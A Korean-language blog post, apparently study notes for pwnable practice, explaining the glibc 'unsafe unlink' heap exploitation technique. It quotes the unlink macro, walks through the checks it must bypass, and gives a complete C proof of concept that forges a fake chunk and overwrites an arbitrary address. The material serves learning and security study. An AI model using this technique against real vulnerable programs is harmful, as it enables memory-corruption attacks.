Unsafe Unlink 정리

sangjun

·

2021. 4. 7. 03:25

반응형

Unsafe Unlink 쓸 수 있는 상황

1. malloc으로 할당 받은 힙의 주소를 전역 변수에서 관리해야 함.

2. 힙 최소 2개이상에 두 번째 힙의 헤더를 조작할 수 있어야 한다.

 

 

Unlink의 역할

Unlink는 freelist에 있는 힙 청크 중에 중간에 끼어 있는 청크에 메모리가 할당될 때

힙 청크 리스트 노드들 간의 연결관계를 정리해주는 역할을 함.

아래 그림은 P의 위치에 malloc, calloc으로 메모리가 할당될 때 Unlink가 수행하는 동작이다.

출처 : https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/  

 

UnLink 발생 조건

Unlink과정에서 발생하는 취약점을 알기 위해서 소스코드를 분석해보겠다.

#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (P->size)				      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr (check_action,				      \
			       "corrupted double-linked list (not small)",    \
			       P, AV);					      \
            if (FD->fd_nextsize == NULL) {				      \
                if (P->fd_nextsize == P)				      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {							      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {							      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \

 

첫 번째 if문을 통과 후

    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);

조건문 통과조건 : 다음 노드의 bk값이 해제하려는 힙 청크의 주소여야함.

                     && 이전 노드의 fd값이 해제하려는 힙 청크의 주소여야 한다.

 

 

 

 

두 번째 if문까지 통과하면

	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))

조건문 통과조건 : 해제하려는 Size가 다음 노드의 prev_size와 같아야 한다.

 

Unlink가 일어날 수 있는 조건을 알아보았다.

이제 이것을 이용해 임의의 주소 쓰기를 할 수 있는데 취약점을 알아보겠다.

 


 

예제

#include <stdio.h>
#include <stdlib.h>
#define ALLOC_SIZE 0x410
#define FAKE_FD_OFFSET 2
#define FAKE_BK_OFFSET 3
#define PREV_IN_USE_OFFSET -2
#define CHUNK_SIZE_OFFSET -1
long *ptr1;
long *ptr2;
long target = 0;
int main(void){
  fprintf(stderr, "target : 0x%lx\n", target);
  ptr1 = malloc(ALLOC_SIZE);
  ptr2 = malloc(ALLOC_SIZE);
  ptr1[FAKE_FD_OFFSET] = (long)&ptr1 - sizeof(long)*3;
  ptr1[FAKE_BK_OFFSET] = (long)&ptr1 - sizeof(long)*2;
  ptr2[PREV_IN_USE_OFFSET] = ALLOC_SIZE;
  ptr2[CHUNK_SIZE_OFFSET] &= ~1;
  free(ptr2);
  /*
    Unlink is triggered.
    ptr1->FAKE_BK->FD = FAKE_FD
    
    now, ptr1 == (long)&ptr1 - sizeof(long)*3;
  */
  // Arbitrary Write Primitive
  ptr1[3] = (long)&target;
  ptr1[0] = 0xdeadbeefcafebabe;
  fprintf(stderr, "target : 0x%lx\n", target);
}

위의 예제 코드는 Unsafe Unlink를 이용해 임의의 주소에 원하는 값을 쓴 것이다.

 

 

malloc을 두 번 연속 호출하면 아래 그림과 같이 메모리가 할당될 것이다.

이 그림에서 Chunk 1에 Fake Chunk를 만들어 준 다음 --> Chunk 2의 헤더를 변경할 것이다.

   그 다음 Chunk 2를 Free시켜 Unlink를 발생시킬 것이다.

 

Unlink를 하기 위해서는  2가지 조건을 만족시켜야 한다고 앞서 정리해놨었다.

 

 

첫 번째 if문을 통과하기 위해서 빨간색 칸에 Fake Chunk를 만들었다.

Fake Chunk를 이런 구조로 만들어준 이유는

FD-> bk == BK -> fd가 같아야 하기 때문이다.

(Unlink는 smallbin이상의 크기에서 일어나기 때문에 double linked list이다.

즉, FD와 BK는 chunk1의 FD와 BK를 가리킨다는 것이다.)

 

현재 Fake chunk의 Size값이 0으로 세팅되어 있기 때문에 FD와 BK는 Fake Chunk의 주소이다.

그러므로 FD->bk해주면 Fake Chunk의 FD에 쓰여있는 값으로부터 24만큼 더해준 위치의 값이다.

            BK -> fd해주면 Fake Chunk의 BK에 쓰여있는 값으로부터 16만큼 더해준 위치의 값이다.

계산을 해주면 두 값을 일치하는 곳을 가르키는 것을 볼 수 있다.

 

두 번째 if문을 통과하기 위해서 노란색 칸을 조작해줘야 했다.

prev_size가 앞의 Fake Chunk사이즈와 일치하게 조작해야 했고

Size의 Prev_in_use 비트가 0이 되어야 Unlink가 발생한다.

 

  ptr1[3] = (long)&target;
  ptr1[0] = 0xdeadbeefcafebabe;
  fprintf(stderr, "target : 0x%lx\n", target);

위 예제에서 Fake Chunk를 구성하고 chunk 2의 헤더를 조작해 Unlink가 발생했다.

즉, &ptr1위치에 &ptr1-3의 값이 쓰여졌다는 것이다.

이 상태에서 p[3]을 해주게 되면 ptr1== &target이 될 것이다.

ptr1이 target의 주소를 가지고 있는 상태에서

ptr1[0]==0xdeadbeefcafebabe;를 해주게 되면

target에 over write를 할 수 있다.

 

 

결과

1. FD -> bk = BK;

2. BK -> fd = FD;

 

위 두 문장에 의해서 (addr-16) -> (fd) = (addr - 24)값이 쓰여진다.

즉 addr에 FD값(addr -24)가 쓰여진다는 것이다.

 

FD->bk =K; BK->fd = FD;

반응형

'Pwnable > 포너블 정리' 카테고리의 다른 글

[ Pwnable ] ARM 공부자료  (0) 2021.12.27
우분투 exploit tech  (0) 2021.10.15
how2heap glibc_2.31 정리  (0) 2021.08.26
GLIBC 2.34 AAW공격 벡터 정리  (0) 2021.08.25
Linux Security Check정리  (0) 2021.05.06

0개의 댓글